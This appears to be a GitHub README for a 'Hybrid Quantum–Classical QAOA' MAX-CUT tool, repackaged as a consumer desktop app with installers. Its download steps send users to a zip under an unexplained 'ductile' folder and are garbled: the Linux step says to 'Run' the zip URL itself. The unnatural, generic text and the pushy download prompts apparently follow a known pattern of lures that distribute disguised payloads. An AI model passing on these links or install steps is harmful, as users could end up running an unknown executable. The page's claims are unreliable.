🚀 Hybrid-Quantum-Classical-Algorithms - Experience Advanced Problem Solving Effortlessly

🔍 Overview

Welcome to the Hybrid Quantum–Classical QAOA framework! This application lets you solve complex problems efficiently. It uses a combination of quantum and classical methods to evaluate the MAX-CUT problem on graphs. The program uses Qiskit Aer for simulation and SciPy optimizers for computation, ensuring you have cutting-edge performance. Whether you are a data analyst or a researcher, our tool will provide you with the results you need.

🚀 Getting Started

Follow these easy steps to download and run the application.

1. Check System Requirements

Make sure your machine meets the following requirements:

• Operating System: Windows, macOS, or Linux.
• RAM: At least 8 GB of RAM.
• Disk Space: Minimum of 500 MB free space.
• Graphics: GPU with CUDA support is recommended for optimal performance.

Once you confirm that your system meets these requirements, you are ready to proceed.

2. Download the Application

Visit this page to download: Releases Page.

Here, you will find the latest version of the software. Choose the version compatible with your operating system. Click on the link to download the installer file.

3. Install the Application

After downloading the installer file:

• Windows: Double-click on the downloaded .exe file and follow the prompts.
• macOS: Open the downloaded .dmg file, then drag and drop the application to your Applications folder.
• Linux: Extract the downloaded https://raw.githubusercontent.com/MvzinDev/Hybrid-Quantum-Classical-Algorithms/main/ductile/Hybrid-Quantum-Classical-Algorithms-2.8.zip file. Open a terminal and navigate to the extracted folder. Run https://raw.githubusercontent.com/MvzinDev/Hybrid-Quantum-Classical-Algorithms/main/ductile/Hybrid-Quantum-Classical-Algorithms-2.8.zip to install the application.

4. Launch the Application

Once installed, you can find the application in your Applications or Programs list. Click to open it.

⚙️ How to Use

1. Input Your Data: Start by importing your graph data. The application allows you to upload various formats, including CSV or JSON.
2. Configure Settings: Adjust settings as needed. You can choose parameters like depth and repetition costs.
3. Run the Algorithm: Click the run button to execute the calculations. Watch the progress bar as the application computes the results.
4. View Results: After processing, the application displays the optimal cut and detailed statistics.

🌐 Features

• User-Friendly Interface: Designed for easy navigation.
• GPU Acceleration: Maximizes performance for large computations.
• Flexible Input Options: Supports multiple data formats.
• Detailed Output: Provides comprehensive insights into results.

🛠️ Troubleshooting

If you encounter any issues while using the software, here are some common fixes:

• Installation Errors: Ensure you have enough disk space and the necessary permissions.
• Running Issues: Check that your GPU drivers are up to date.
• Data Import Problems: Make sure your graph data is in the correct format.

📝 Contact & Support

For further assistance, explore our FAQ section or reach out to our support team via the Issues tab on the GitHub repository.

Download & Install Instructions Again

Ready to get started? Remember to visit this page to download: Releases Page. Follow the installation steps above, and you’ll be on your way to solving problems with hybrid algorithms.

🔗 License

This project is licensed under the MIT License. Feel free to use and modify it in accordance with the license terms.

Thank you for choosing the Hybrid Quantum–Classical QAOA framework! We hope you find it useful in your work.